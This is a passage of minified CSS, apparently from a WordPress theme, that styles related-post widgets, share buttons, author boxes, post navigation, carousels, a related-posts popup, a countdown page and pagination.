0;max-width:360px;width:100%}.penci-ilrelated-posts.pcilrt-right{float:right;margin:5px 0 20px 20px;max-width:360px;width:100%}.pcilrp-heading{margin-bottom:20px;text-align:left}.pcilrp-heading span{font-size:18px;line-height:1.3;display:block;font-family:var(--pchead-font);font-weight:var(--pchead-wei);color:var(--pcheading-cl);letter-spacing:0;padding-bottom:10px;position:relative}.pcilrp-heading span:after{content:"";width:50px;border-top:1px solid var(--pcaccent-cl);display:block;position:absolute;bottom:0;left:0}.pcilrph-align-center{text-align:center}.pcilrph-align-center span:after{left:50%;margin-left:-25px}.pcilrph-align-right{text-align:right}.pcilrph-align-right span:after{left:auto;right:0}.penci-ilrelated-posts ul.pcilrp-content{margin-bottom:0!important}.penci-ilrelated-posts.pcilrt-grid ul.pcilrp-content li{line-height:unset}.penci-ilrelated-posts.pcilrt-list ul.pcilrp-content{padding-left:18px}.penci-ilrelated-posts.pcilrt-list ul.pcilrp-content li{line-height:1.6}.penci-ilrelated-posts.pcilrt-list ul.pcilrp-content li:last-child{margin-bottom:0}.penci-ilrelated-posts ul.pcilrp-content li.pcilrp-item-grid{list-style-type:none}.pcilrt-grid .pcilrp-content{padding:0!important;margin-left:-10px;margin-right:-10px;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap}.pcilrt-grid .pcilrp-item-grid{-ms-flex:0 0 100%;flex:0 0 100%;padding:0 10px;margin-bottom:20px}.pcilrt-grid .pcilrp-item-hidethumb{margin-bottom:8px}.pcilrt-grid.pcilrt-col-2 .pcilrp-item-grid{flex:0 0 50%}.pcilrt-grid.pcilrt-col-3 .pcilrp-item-grid{flex:0 0 33.3333%}.pcilrt-grid .pcilrp-content>.pcilrp-item-grid:last-child{margin-bottom:0}@media only screen and (min-width:961px){.pcilrt-col-3 .pcilrp-content>.pcilrp-item-grid:nth-last-of-type(2),.pcilrt-col-3 .pcilrp-content>.pcilrp-item-grid:nth-last-of-type(3){margin-bottom:0}}@media only screen and (min-width:768px){.pcilrt-col-2 .pcilrp-content>.pcilrp-item-grid:nth-last-of-type(2){margin-bottom:0}}@media only screen and (max-width:960px){.pcilrt-grid.pcilrt-col-3 .pcilrp-item-grid{flex:0 0 100%}}@media only screen and (max-width:767px){.pcilrt-grid.pcilrt-col-2 .pcilrp-item-grid{flex:0 0 100%}.penci-ilrelated-posts.pcilrt-left,.penci-ilrelated-posts.pcilrt-right{max-width:100%}}.pcilrt-grid .pcilrp-flex{display:flex;-ms-flex-wrap:wrap;align-items:center;width:100%}.pcilrp-flex .pcilrp-thumb{flex:0 0 90px;margin-right:20px;transition:all .3s}.pcilrp-flex .pcilrp-body{flex:0 0 calc(100% - 110px)}.pcilrp-item-hidethumb .pcilrp-flex .pcilrp-body{flex:0 0 100%}.pcilrt-thumbright .pcilrp-flex .pcilrp-thumb{order:2;margin:0 0 0 20px}.pcilrp-flex .pcilrp-thumb:hover{opacity:.85}.pcilrp-item-grid .pcilrp-title{line-height:1.35}.penci-ilrelated-posts .pcilrp-item-grid .pcilrp-title a{color:var(--pctext-cl);line-height:1.4;text-decoration:none;font-family:var(--pchead-font);font-weight:var(--pchead-wei);font-size:14px}.penci-ilrelated-posts .pcilrp-item-grid .pcilrp-title a:hover{color:var(--pcaccent-cl)}.pcilrp-meta{margin-top:5px;font-size:13px;color:var(--pcmeta-cl);line-height:1.3}.pcilrp-meta span{margin-right:10px;font-size:inherit;color:inherit}.pcilrp-meta span:last-child{margin-right:0}.pcilrp-meta i{margin-right:5px;opacity:.8}.gird-post-share{margin-top:9px;position:relative;text-align:center}.gird-list-posts-share{background:#fff;display:inline-block;padding-right:11px;position:relative;padding-left:11px}.gird-post-share:before{position:absolute;width:100%;top:9px;height:1px;content:"";left:0;border-top:1px solid #e9e9e9;border-bottom:1px solid #e9e9e9}.gird-post-share a{margin:0 4px;font-size:14px;color:#939393}.gird-post-share a:hover{color:var(--pcaccent-cl)}.gird-post-share .gird-list-posts-share a:first-child{margin-left:0}.share-box-grid.share-box-comments i{font-size:15px}.tags-share-box{display:table;width:100%;margin:0;position:relative;padding:19px 160px 18px 0;clear:both;border-top:1px solid #dedede;font-size:14px}.tags-share-box.center-box{text-align:center;padding:15px 0}.tags-share-box.hide-tags.page-share{text-align:center;padding:16px 0;position:relative;border-bottom:1px solid #dedede;margin-bottom:-1px}.tags-share-box.hide-tags.page-share.pcnew-share{border-bottom:none;margin-bottom:0;padding:0}.tags-share-box.hide-tags.page-share.tags-share-box-2_3{padding:6px 20px}.tags-share-box.hide-tags.page-share .list-posts-share{vertical-align:middle;line-height:16px}.tags-share-box.share-box-border-bot{border-bottom:1px solid var(--pcborder-cl)}.post-tags{display:block;position:relative;z-index:10;color:#888;margin-bottom:0;line-height:1.4;margin-top:31px}.post-tags>span{display:inline-block;text-transform:uppercase;margin:0 12px 0 0;font-style:italic;color:#888}.post-tags>span i{vertical-align:bottom}.container-single .post-entry .post-tags a,.pc-search-suggest-term>a,.post-tags.penci-post-sources>span{text-transform:uppercase;color:#888;padding:5px 12px;margin-right:8px;margin-bottom:8px;display:inline-block;font-size:11px!important;background:0 0;border:1px solid #dedede;transition:all .3s;-webkit-transition:all .3s;-moz-transition:all .3s;outline:0;font-weight:400;line-height:1.2}.post-tags.penci-post-sources>span{background:#000;color:#fff;font-style:normal;font-weight:700}.post-tags.penci-post-sources>span::before{content:'\f0c1';font-family:FontAwesome;display:inline-block;margin-right:4px;transform:rotate(85deg)}.container-single .post-entry .post-tags a:hover,.pc-search-suggest-term>a:hover{background:var(--pcaccent-cl);color:#fff;border-color:var(--pcaccent-cl);text-decoration:none}.post-share{display:inline-block;position:absolute;z-index:10;right:0;top:20px}.nc_socialPanel .nc_tweetContainer a.nc_tweet,.swp_social_panel .nc_tweetContainer a.nc_tweet{color:#fff}.tags-share-box.center-box .post-share,.tags-share-box.hide-tags.page-share .post-share{position:static}.tags-share-box.hide-tags.page-share .share-title{font-size:12px;text-transform:uppercase;color:#313131;font-family:var(--pchead-font);font-weight:var(--pchead-wei);margin-right:5px}.post-share .count-number-like{font-weight:700;font-style:italic;font-size:13px;color:var(--pcaccent-cl);vertical-align:top}.post-share .list-posts-share{display:inline-block;vertical-align:top}.post-share a{transition:all .3s;-webkit-transition:all .3s;-moz-transition:all .3s;font-size:14px;margin:0 0 0 10px;color:#313131;display:inline-block;vertical-align:top;position:relative}.post-share.hide-like-count .list-posts-share a:first-child{margin-left:0}.post-share a.liked,.post-share a:hover{color:var(--pcaccent-cl)}.post-share a.penci-post-like{margin-left:5px}.tags-share-box .single-comment-o{color:#888}.tags-share-box .single-comment-o i{margin-right:5px}.post-share a.penci-post-like:after,.tags-share-box .single-comment-o:after{content:"";display:inline-block;width:1px;height:12px;margin:4px 6px 0 20px;vertical-align:top;border:none;background-color:#dedede}.no-social-enabled.tags-share-box .single-comment-o:after{display:none}.tags-share-box .single-comment-o:after{margin-right:20px}.tags-share-box .single-comment-o.hide-comments-o:after{display:none;content:none}.post-share a .dt-share{position:absolute;display:inline-block;font-size:9px;font-family:var(--pchead-font);font-weight:400;background:#313131;color:#fff;height:20px;white-space:nowrap;line-height:20px;text-align:center;z-index:20;bottom:-45px;width:60px;left:50%;margin-left:-30px;opacity:0;visibility:hidden;transition:all .2s ease-in-out;-webkit-transition:all .2s ease-in-out;-moz-transition:all .2s ease-in-out}.post-share a:hover .dt-share{opacity:1;bottom:-30px;visibility:visible}.post-share a .dt-share:before{position:absolute;width:0;height:0;border-left:5px solid transparent;border-right:5px solid transparent;border-bottom:7px solid #313131;content:"";top:-7px;left:50%;margin-left:-4px}article.page.type-page{margin-bottom:60px}.tags-share-box.tags-share-box-top{border-bottom:1px solid #dedede;margin-bottom:33px}.tags-share-box.tags-share-box-2_3{border:1px solid #dedede;padding:6px 15px}.tags-share-box.tags-share-box-2_3 .post-share{display:inline;position:relative;top:0}.tags-share-box.tags-share-box-2_3 .post-share .list-posts-share{display:inline;vertical-align:middle}.tags-share-box.tags-share-box-2_3 .post-share:after,.tags-share-box.tags-share-box-2_3 .post-share:before{content:"";width:100%;clear:both}.tags-share-box.tags-share-box-2_3+.post-author{border-top:0}.tags-share-box.tags-share-box-2_3 .penci-social-share-text{text-transform:uppercase;font-weight:700;margin-right:15px;font-size:14px;top:2px;color:#111;position:relative}.tags-share-box.tags-share-box-2_3 a.penci-post-like:after{content:none}.tags-share-box.tags-share-box-2_3 .post-share .count-number-like,.tags-share-box.tags-share-box-2_3 .post-share a{color:#fff}.tags-share-box.tags-share-box-2_3 .penci-svg-line{vertical-align:middle;transform:translateY(-1px);-webkit-transform:translateY(-1px)}.tags-share-box.tags-share-box-2_3 .post-share-item{display:inline-block;margin:5px 9px 5px 0;font-weight:400;line-height:32px;text-align:left;color:#fff;text-transform:none;height:32px;border:0;background-color:#111;padding:0 12px;transition:opacity .3s;border-radius:2px;vertical-align:middle}.tags-share-box-s2 .post-share .count-number-like,.tags-share-box-s2 .post-share a,.tags-share-box-s2 .post-share-item{color:#fff!important}.tags-share-box.tags-share-box-2_3 .post-share-plike{vertical-align:bottom}.tags-share-box.page-share .penci-social-share-text{font-family:var(--pchead-font);font-weight:var(--pchead-wei);font-size:12px;text-transform:uppercase;vertical-align:middle}.tags-share-box.social-align-left{text-align:left!important}.tags-share-box.social-align-right{text-align:right!important}.tags-share-box.social-align-center{text-align:center!important}.post-author{margin:0;overflow:hidden;padding:38px 0 37px 0;border-top:1px solid var(--pcborder-cl)}.abio-style-2,.abio-style-3,.abio-style-4{padding:20px;border:1px solid var(--pcborder-cl);margin-bottom:30px}body.author .post-author{padding:20px 20px;border:1px solid var(--pcborder-cl);margin-bottom:40px}.abio-style-3,.abio-style-4{text-align:center}.abio-style-4{margin-top:80px;overflow:visible}.author-img{float:left;margin-right:20px;overflow:hidden}.abio-style-3 .author-img,.abio-style-4 .author-img{display:block;margin:0 0 15px;float:none!important}.abio-style-4 .author-img{margin-top:-70px}.post-author .author-img img{margin:0;border-radius:100%;-webkit-border-radius:100%;-moz-border-radius:100%}.abio-style-3 .author-img img,.abio-style-4 .author-img img{display:inline-block;vertical-align:top;border:2px solid var(--pcborder-cl);box-shadow:0 1px 2px 0 rgb(0 0 0 / 15%)}.abio-style-4 .author-img img{background-color:var(--pcbg-cl)}.bioimg-square .author-img img{border-radius:0;-webkit-border-radius:0;-moz-border-radius:0}.bioimg-sround .author-img img{border-radius:15px;-webkit-border-radius:15px;-moz-border-radius:15px}.post-author .author-content{margin-left:120px}.abio-style-3 .author-content,.abio-style-4 .author-content{margin-left:0}.author-content h5{font-size:14px;margin:0 0 15px;color:#313131;display:block;font-family:var(--pchead-font);font-weight:var(--pchead-wei);text-transform:uppercase}.author-content h5 a{display:inline-block;margin:0;color:#313131}.author-content h5 a:hover{color:var(--pcaccent-cl)}.author-content p{margin-bottom:16px}.abio-style-4 .author-content p{text-align:center}.author-content .author-social{font-size:14px;color:#313131;margin-right:10px}.author-content .bio-social .author-social:last-child{margin-right:0}.author-content .author-social:hover{color:var(--pcaccent-cl)}.author-content .author-social i{vertical-align:top}.post-pagination{overflow:hidden;margin:0;padding:15px 0 15px;border-top:1px solid #dedede}.post-pagination .prev-post{float:left;width:50%}.post-pagination .next-post{float:right;text-align:right;width:50%}.post-pagination span{margin:0;display:inline-block;color:#888}.post-pagination span i{font-size:15px;margin-right:8px}.post-pagination span i.fa-angle-double-right{margin:0 0 0 8px}.post-pagination .arrow{font-size:64px;color:#ddd;line-height:64px}.post-pagination .prev-post .arrow{float:left;margin-right:18px}.post-pagination .next-post .arrow{float:right;margin-left:18px}.pagi-text{margin-top:6px}.post-pagination h5{font-size:14px;font-family:var(--pchead-font);font-weight:var(--pchead-wei);padding:0 25px 0 0;position:relative;text-transform:uppercase;line-height:1.4}.post-pagination h5.next-title{padding:0 0 0 25px}.post-pagination a{color:#313131}.post-pagination a:hover{color:var(--pcaccent-cl)}.penci-post-nav-thumb{width:56px;min-width:56px;height:56px;margin-right:15px;background-size:cover;background-position:center center;background-repeat:no-repeat}.penci-post-nav-thumb.nav-thumb-next{float:right;margin:0 0 0 15px}.pcsb-pnavi .penci-post-nav-thumb{flex-shrink:0}.post-related{overflow:hidden;margin:0;text-align:center;padding:36px 0 36px;border-top:1px solid #dedede}#respond h3.comment-reply-title,.post-title-box{position:relative;padding:0;margin-bottom:30px;text-align:center}#respond h3.comment-reply-title span,.post-box-title{font-size:18px;text-transform:uppercase;font-family:var(--pchead-font);font-weight:var(--pchead-wei);color:#313131;position:relative;z-index:10;display:inline-block;padding:0 10px}#respond h3.comment-reply-title span:after,#respond h3.comment-reply-title span:before,.post-box-title:after,.post-box-title:before{content:"";position:absolute;width:60px;height:1px;background:var(--pcaccent-cl);display:block;top:50%;margin-top:-1px;left:100%}#respond h3.comment-reply-title span:before,.post-box-title:before{left:auto;right:100%}.penci-carousel{margin-left:-15px;margin-right:-15px;max-height:220px}.penci-carousel.loaded{max-height:none}.penci-carousel button.slick-next,.penci-carousel button.slick-prev{position:absolute;width:36px;height:36px;display:inline-block;top:50%;margin-top:-18px;cursor:pointer;outline:0;opacity:0;transition:all .3s;-webkit-transition:all .3s;-moz-transition:all .3s;text-align:center;line-height:36px;background:#fff;z-index:12;border-radius:100%;-webkit-border-radius:100%;-moz-border-radius:100%;color:#313131;border:none;font-size:20px}.penci-carousel.loaded:hover button.slick-next,.penci-carousel.loaded:hover button.slick-prev{opacity:.8}.penci-carousel.loaded button.slick-next:hover,.penci-carousel.loaded button.slick-prev:hover{opacity:1}.penci-carousel>button.slick-prev{left:25px}.penci-carousel>button.slick-next{right:25px}.penci-carousel>button.slick-next.slick-disabled,.penci-carousel>button.slick-prev.slick-disabled{cursor:auto}.item-related{padding:0 10px;transition:opacity .2s;-webkit-transition:opacity .2s;-moz-transition:opacity .2s;text-align:center;position:relative}.penci-posts-related-grid{padding-bottom:16px}.penci-related-grid-display,.post-related .swiper{margin-left:-10px;margin-right:-10px;width:100%;width:calc(100% + 20px)}.penci-related-grid-display .item-related{opacity:1;margin:0 0 20px;padding:0 10px;width:33.333333%;float:left}.penci-owl-carousel.penci-owl-loaded .item-related{opacity:1}.penci-related-carousel .item-related-thumb{position:relative}.post-related-wrapper{position:relative}.penci-related-thumb-carousel{position:absolute;bottom:30px;left:0;right:0;z-index:9;padding:0 30px}.penci-related-thumb-carousel.pcrl-style-8{background:rgba(0,0,0,.5);bottom:0}.penci-related-thumb-carousel .item-related-thumb{padding-left:5px;padding-right:5px;cursor:pointer;opacity:.8;transition:.3s all ease-in-out}.penci-related-thumb-carousel.pcrl-style-8 .item-related-thumb{padding-left:10px;padding-right:10px}.penci-related-thumb-carousel.pcrl-style-8 .item-related-thumb{padding-top:30px;padding-bottom:30px;border-bottom:5px solid transparent;text-align:left}.penci-related-thumb-carousel.pcrl-style-8 h3{color:#fff;font-size:14px;overflow:hidden;display:-webkit-box;-webkit-line-clamp:2;line-clamp:2;-webkit-box-orient:vertical}.penci-related-thumb-carousel.pcrl-style-8 .swiper-slide-thumb-active .item-related-thumb{border-bottom-color:var(--pcaccent-cl)}.penci-related-thumb-carousel.pcrl-style-8 .swiper-slide-thumb-active h3{color:var(--pcaccent-cl)}.penci-related-thumb-carousel.pcrl-style-8 span{color:rgba(255,255,255,.7);font-size:12px;display:block;margin-bottom:10px}.penci-related-thumb-carousel.pcrl-style-8 .swiper-slide-thumb-active span{color:#fff}.penci-related-thumb-carousel .item-related-thumb span.related-thumb{border:3px solid rgba(255,255,255,.7)}.penci-related-thumb-carousel .item-related-thumb:hover,.penci-related-thumb-carousel .swiper-slide-thumb-active .item-related-thumb{opacity:1}.penci-related-thumb-carousel .swiper-slide-thumb-active .item-related-thumb span.related-thumb{border-color:var(--pcaccent-cl)}.penci-owl-carousel-slider .penci-owl-dots{position:static;height:10px;clear:both;margin-top:16px;text-align:center;margin-left:auto;margin-right:auto;transform:none!important}.penci-owl-carousel-slider .penci-owl-dots.disabled,.penci-owl-carousel-slider .penci-owl-nav.disabled{display:none}.penci-related-carousel .penci-owl-dot span{width:10px;height:10px;display:inline-block;border-radius:6px;-webkit-border-radius:6px;-moz-border-radius:6px;font-size:0;background:#fff;margin:0 2px;box-shadow:none;-webkit-box-shadow:none;-moz-box-shadow:none;outline:0;vertical-align:top;cursor:pointer;transition:all .2s ease-in-out;-webkit-transition:all .2s ease-in-out;-moz-transition:all .2s ease-in-out;border:2px solid var(--pcborder-cl)}.penci-owl-carousel-slider .penci-owl-dot.active span,.penci-related-carousel .penci-owl-dot.active span{background:var(--pcaccent-cl);border-color:var(--pcaccent-cl)}.item-related img{width:100%;height:auto}.item-related .item-related-inner>a{transition:opacity .3s;-webkit-transition:opacity .3s;-moz-transition:opacity .3s;display:inline-block;margin-bottom:17px;width:100%;position:relative}.item-related .item-related-inner>a:hover{opacity:.85}#navigation .penci-megamenu .penci-mega-post a i,.home-featured-cat-content.style-12 .penci-magcat-carousel .magcat-thumb .mag-post-thumb i,.item-related .item-related-inner>a i,.navigation .penci-megamenu .penci-mega-post a i,.penci-grid.penci-fea-cat-style-13 li .item .thumbnail .icon-post-format{position:absolute;width:36px;height:36px;line-height:32px;left:50%;top:50%;margin:-15px 0 0 -15px;border-radius:50%;-webkit-border-radius:50%;-moz-border-radius:50%;font-size:14px;transition:all .25s;-webkit-transition:all .25s;-moz-transition:all .25s;border:2px solid rgba(255,255,255,.9);background:rgba(0,0,0,.4);color:rgba(255,255,255,.9);text-align:center}#navigation .penci-megamenu .penci-mega-post a i.fa-music:before,.item-related>a i.fa-music:before,.navigation .penci-megamenu .penci-mega-post a i.fa-music:before{margin-right:2px}#navigation .penci-megamenu .penci-mega-post a i.fa-play:before,.item-related>a i.fa-play:before,.navigation .penci-megamenu .penci-mega-post a i.fa-play:before{margin-left:2px}#navigation .penci-megamenu .penci-mega-post a:hover i,.item-related>a:hover i,.navigation .penci-megamenu .penci-mega-post a:hover i{opacity:0;transform:scale(.5);-webkit-transform:scale(.5);-moz-transform:scale(.5)}.item-related h3 a{font-size:14px;text-transform:uppercase;color:#313131;line-height:1.4}.item-related h3 a:hover{color:var(--pcaccent-cl)}.item-related span.date{color:#888;display:inline-block;margin-top:8px;font-size:13px}ul.slick-dots{opacity:0;transition:opacity .2s;-webkit-transition:opacity .2s;-moz-transition:opacity .2s;list-style:none;text-align:center;display:block;clear:both;margin-top:13px}.slick-slider.loaded ul.slick-dots{opacity:1}ul.slick-dots li{display:inline-block;line-height:1}ul.slick-dots li button{width:12px;height:12px;display:inline-block;border-radius:6px;-webkit-border-radius:6px;-moz-border-radius:6px;font-size:0;background:#fff;margin:0 5px;box-shadow:none;-webkit-box-shadow:none;-moz-box-shadow:none;outline:0;vertical-align:top;cursor:pointer;transition:all .2s ease-in-out;-webkit-transition:all .2s ease-in-out;-moz-transition:all .2s ease-in-out;border:2px solid #dedede}ul.slick-dots li button:hover,ul.slick-dots li.slick-active button{background:var(--pcaccent-cl);border-color:var(--pcaccent-cl)}.pcrlt-style-2 .item-related-inner{position:relative;text-align:left}.pcrlt-style-2 .item-related .item-related-inner>a{margin-bottom:0}.pcrlt-style-2 .item-related .related-content{position:absolute;left:0;right:0;bottom:0;padding:15px;background:#000;background:linear-gradient(0deg,rgba(0,0,0,1) 0,rgba(255,255,255,0) 100%)}.pcrlt-style-2 .item-related .related-content h3 a,.pcrlt-style-2 .item-related .related-content span{color:#fff}.pcrlt-style-2 a.penci-cat-name{position:absolute;top:20px;left:20px;z-index:9;background-color:var(--pcaccent-cl);display:inline-block;width:auto;color:#fff;font-size:12px;padding:0 5px;line-height:20px}.pcrlt-style-3 .related-content{background-color:#000;padding:20px 10px;transition:all .1s ease-in-out;border:1px solid transparent;border-bottom:none}.pcrlt-style-3 .item-related .item-related-inner>a{margin-bottom:0}.pcrlt-style-3 .item-related .related-content h3 a,.pcrlt-style-3 .item-related .related-content span{color:#fff}.pcrlt-style-3 .item-related-inner{display:flex;flex-wrap:wrap;flex-direction:column}.pcrlt-style-3 .item-related:nth-child(2n) .related-content{order:1;background-color:var(--pcbg-cl);border:1px solid var(--pcborder-cl);border-bottom:none}.pcrlt-style-3 .item-related:nth-child(2n) .related-content h3 a{color:var(--pcheading-cl)}.pcrlt-style-3 .item-related:nth-child(2n) .related-content span{color:var(--pcmeta-cl)}.pcrlt-style-3 .item-related:nth-child(2n) .related-thumb{order:2}.pcrlt-style-4 .item-related-inner{display:flex;flex-wrap:wrap;flex-direction:row;text-align:left}.pcrlt-style-4 .item-related .item-related-inner>a{max-width:160px;margin-bottom:0}.pcrlt-style-4 .related-content{width:calc(100% - 160px);padding-left:15px;display:flex;flex-wrap:wrap;align-content:center}.pcrlt-style-4 .item-related{width:50%}.pcrlt-style-4 .penci-cat-name{font-size:12px;display:inline-block;margin-bottom:10px;text-transform:uppercase;font-weight:var(--pchead-wei);font-family:var(--pchead-font)}.pcrlt-style-5 .item-related .item-related-inner>a{margin-bottom:0}.pcrlt-style-5 .related-content{position:relative;padding:15px;width:95%;margin:-10px 2.5% 0}.pcrlt-style-5 .penci-owl-carousel .related-content{margin-bottom:6px}.pcrlt-style-5 .penci-cat-name{position:absolute;top:-50px;left:20px;z-index:9;background-color:var(--pcaccent-cl);display:inline-block;width:auto;color:#fff;font-size:12px;padding:0 5px;line-height:20px}.pcrlt-style-5 .penci-related-grid-display{display:flex;flex-wrap:wrap;flex-direction:row}.pcrlt-style-5 .penci-related-grid-display .item-related{display:flex;flex-shrink:1;height:auto}.pcrlt-style-5 .penci-related-grid-display .item-related .item-related-inner{position:relative}.pcrlt-style-5 .penci-related-grid-display .related-content:before{content:'';position:absolute;top:-10px;height:20px;left:3px;right:3px;background:var(--pcbg-cl);z-index:1}.pcrlt-style-5 .swiper .related-content{box-shadow:0 3px 5px rgba(0,0,0,.2);background:var(--pcbg-cl)}.pcrlt-style-5 .penci-related-grid-display .item-related .item-related-inner:before{content:'';position:absolute;top:0;left:10px;right:10px;bottom:0;background:var(--pcbg-cl);box-shadow:0 3px 5px rgba(0,0,0,.2)}.pcrlt-style-5 .item-related .item-related-inner,.pcrlt-style-6 .item-related .item-related-inner{width:100%}.pcrlt-style-6 .item-related .item-related-inner>a{margin-bottom:0}.pcrlt-style-6 .item-related-inner .related-content{padding:20px}.pcrlt-style-6 .penci-related-grid-display{display:flex;flex-wrap:wrap;flex-direction:row}.pcrlt-style-6 .penci-related-grid-display .item-related{display:flex;flex-shrink:1;height:auto}.pcrlt-style-6 .item-related .item-related-inner{height:100%;border:1px solid var(--pcborder-cl)}.pcrlt-style-6 .swiper .item-related{align-self:stretch}@media only screen and (min-width:1170px){.pcrlt-style-1 .penci-related-grid-display .item-related:nth-child(3n+1),.pcrlt-style-3 .penci-related-grid-display .item-related:nth-child(3n+1),.pcrlt-style-4 .penci-related-grid-display .item-related:nth-child(2n+1),.pcrlt-style-5 .penci-related-grid-display .item-related:nth-child(3n+1),.pcrlt-style-6 .penci-related-grid-display .item-related:nth-child(3n+1){clear:both}}.penci-rlt-popup{position:fixed;bottom:0;left:0;z-index:5000;background:#fff;box-shadow:2px 10px 7px rgba(0,0,0,.2);width:340px;max-height:75%;overflow:hidden;padding:0;-webkit-transform:translate(0,100%);-moz-transform:translate(0,100%);-ms-transform:translate(0,100%);-o-transform:translate(0,100%);transform:translate(0,100%);-webkit-transition:all .6s cubic-bezier(.19,1,.22,1);-moz-transition:all .6s cubic-bezier(.19,1,.22,1);transition:all .6s cubic-bezier(.19,1,.22,1)}@media only screen and (min-width:961px){.penci-vernav-enable.penci-vernav-poleft .penci-rltpopup-left{left:330px}.penci-vernav-enable.penci-vernav-poright .penci-rltpopup-right{right:330px}}.penci-rlt-popup.penci-rltpopup-right{left:auto;right:0}.penci-rlt-popup.rltpopup-show-up{-webkit-transform:translate(0,0);-moz-transform:translate(0,0);-ms-transform:translate(0,0);-o-transform:translate(0,0);transform:translate(0,0)}.penci-rlt-popup .penci-rtlpopup-content{padding:20px}.penci-rlt-popup .penci-rtlpopup-content:after,.penci-rlt-popup .penci-rtlpopup-content:before{content:"";display:table;clear:both}.penci-rlt-popup .rtlpopup-heading{font-size:16px;text-transform:uppercase;margin-bottom:16px;text-align:left;background:#111;color:#fff;padding:8px 30px 8px 20px;line-height:1.25;margin:0;position:relative}.penci-rlt-popup .rltpopup-item{opacity:0;visibility:hidden;-webkit-transform:translate(0,10px);-moz-transform:translate(0,10px);-ms-transform:translate(0,10px);-o-transform:translate(0,10px);transform:translate(0,10px);-webkit-transition:all .3s ease-out;-moz-transition:all .3s ease-out;transition:all .3s ease-out;overflow:hidden;margin-bottom:20px;padding-bottom:20px;border-bottom:1px solid #eaeaea}.penci-rlt-popup .penci-rtlpopup-content .rltpopup-item:last-child{margin-bottom:0;padding-bottom:0;border-bottom:none}.penci-rlt-popup.rltpopup-show-up .rltpopup-item{opacity:1;visibility:visible;-webkit-transform:translate(0,0);-moz-transform:translate(0,0);-ms-transform:translate(0,0);-o-transform:translate(0,0);transform:translate(0,0)}.penci-rlt-popup .rltpopup-thumbnail{display:block;float:left;width:90px;margin:0 20px 0 0;transition:opacity .3s;-webkit-transition:opacity .3s;-moz-transition:opacity .3s}.penci-rlt-popup .rltpopup-thumbnail:hover{opacity:.8}.penci-rlt-popup .rltpopup-meta{display:block;overflow:hidden}.penci-rlt-popup .rltpopup-meta .rltpopup-title{margin-bottom:5px;color:#313131;display:block;font-size:15px;transition:all .3s;-webkit-transition:all .3s;-moz-transition:all .3s;font-family:inherit;letter-spacing:0;line-height:1.35}.penci-rlt-popup .rltpopup-meta .rltpopup-title:hover{color:var(--pcaccent-cl)}.penci-rlt-popup .rltpopup-meta .date{letter-spacing:0;color:#888;font-size:13px}.penci-rlt-popup .penci-close-rltpopup{position:absolute;top:50%;right:6px;height:24px;width:24px;text-align:center;line-height:22px;margin:-12px 0 0 0;padding:0;border:0;background:0 0;color:#fff;outline:0;box-shadow:none;font-size:0!important;opacity:.75;transition:opacity .3s;-webkit-transition:opacity .3s}.penci-rlt-popup .penci-close-rltpopup:hover{opacity:1}.penci-rlt-popup .penci-close-rltpopup span{display:block;width:20px;border-top:1px solid;position:absolute;top:50%;left:0}.penci-rlt-popup .penci-close-rltpopup span:first-child{transform:rotate(-45deg);-webkit-transform:rotate(-45deg)}.penci-rlt-popup .penci-close-rltpopup span:last-child{transform:rotate(45deg);-webkit-transform:rotate(45deg)}.container.under-construction-page{text-align:center;margin-top:232px;margin-bottom:176px}.under-construction-page .under-title{font-size:30px;color:#313131;text-transform:uppercase;margin:0 0 8px}.under-construction-page .sub-title-content,.under-construction-page .sub-title-content p{font-size:16px;font-style:italic;margin:0}.under-construction-page .sub-title-content a:hover{text-decoration:underline}.penci-countdown{text-align:center;margin:71px 0 0 0}.penci-countdown .countdown-section{margin:0 57px;display:inline-block}.penci-countdown .countdown-row .countdown-section:first-child{margin-left:0}.penci-countdown .countdown-row .countdown-section:last-child{margin-right:0}.penci-countdown .countdown-amount{font-size:72px;color:var(--pcaccent-cl);text-transform:uppercase;font-family:var(--pchead-font);font-weight:var(--pchead-wei);line-height:1;display:block;text-align:center;letter-spacing:3px}.penci-countdown .countdown-period{display:block;text-align:center;font-size:20px;text-transform:uppercase;color:#313131;margin:26px 0 0 0;line-height:1;font-family:var(--pchead-font);font-weight:var(--pchead-wei)}.penci-column{margin-right:4%;position:relative;float:left;min-height:1px;display:block;padding:0!important;margin-bottom:17px}.column-last{margin-right:0!important}.column-1-2{width:48%}.column-1-3{width:30.6666666667%}.column-2-3{width:65.3333333333%}.column-1-4{width:22%}.column-3-4{width:74%}#comments_pagination,.penci-pagination{margin-bottom:40px;overflow:hidden;clear:both;text-align:center}#comments_pagination{margin-bottom:26px}.penci-pagination.align-left{text-align:left}.penci-pagination.align-center{text-align:center}.penci-pagination.align-right{text-align:right}.penci-pagenavi-shortcode{margin-top:30px}.penci-pagination .disable-url,.penci-pagination a{color:#999;font-family:var(--pchead-font);font-weight:var(--pchead-wei);text-transform:uppercase;font-size:12px;display:inline-block;line-height:1;transition:all .3s;-webkit-transition:all .3s;-moz-transition:all .3s}.penci-pagination .disable-url span{opacity:.5}.penci-pagination .disable-url i,.penci-pagination a i{font-size:14px;margin-left:8px}.penci-fawesome-ver5 .penci-pagination .disable-url i,.penci-fawesome-ver5 .penci-pagination a i{font-size:12px}.penci-pagination .newer .disable-url i,.penci-pagination .newer a i{margin:0 8px 0 0}.penci-pagination a:hover{text-decoration:none;color:var(--pcaccent-cl)}.penci-pagination .newer,.penci-pagination .older{display:inline-block}.penci-pagination .newer:after{content:"/";display:inline-block;margin:0 16px 0 20px;font-family:var(--pchead-font);font-size:12px;color:#999}.penci-pagination ul.page-numbers{list-style:none;display:inline-block;vertical-align:top;margin:0;padding:0}.penci-pagination ul.page-numbers li{display:inline-block;float:left;margin-right:10px;margin-bottom:0;list-style:none}.penci-pagination ul.page-numbers li:last-child{margin-right:0}#comments_pagination a,#comments_pagination span,.penci-pagination ul.page-numbers li a,.penci-pagination ul.page-numbers li span{padding:0;min-width:30px;height:30px;text-align:center;line-height:28px;font-size:14px;display:inline-block;border:1px solid #dedede;color:#888;text-decoration:none}#comments_pagination a,#comments_pagination span,.penci-pagination ul.page-numbers li a{padding:0 5px}#comments_pagination a:hover,.penci-pagination ul.page-numbers li a:hover{color:#313131;border-color:#999;text-decoration:none}#comments_pagination span,.penci-pagination ul.page-numbers li span.current{color:#fff;background:var(--pcaccent-cl);border-color:var(--pcaccent-cl);text-decoration:none}.penci-pagination ul.page-numbers li a i{font-size:16px;line-height:28px;margin-left:2px;font-family:FontAwesome!important}.penci-fawesome-ver5 .penci-pagination ul.page-numbers li a i{font-family:"Font Awesome 5 Free"!important}.penci-pagination.penci-ajax-more a.penci-ajax-more-button{display:block;padding:11px 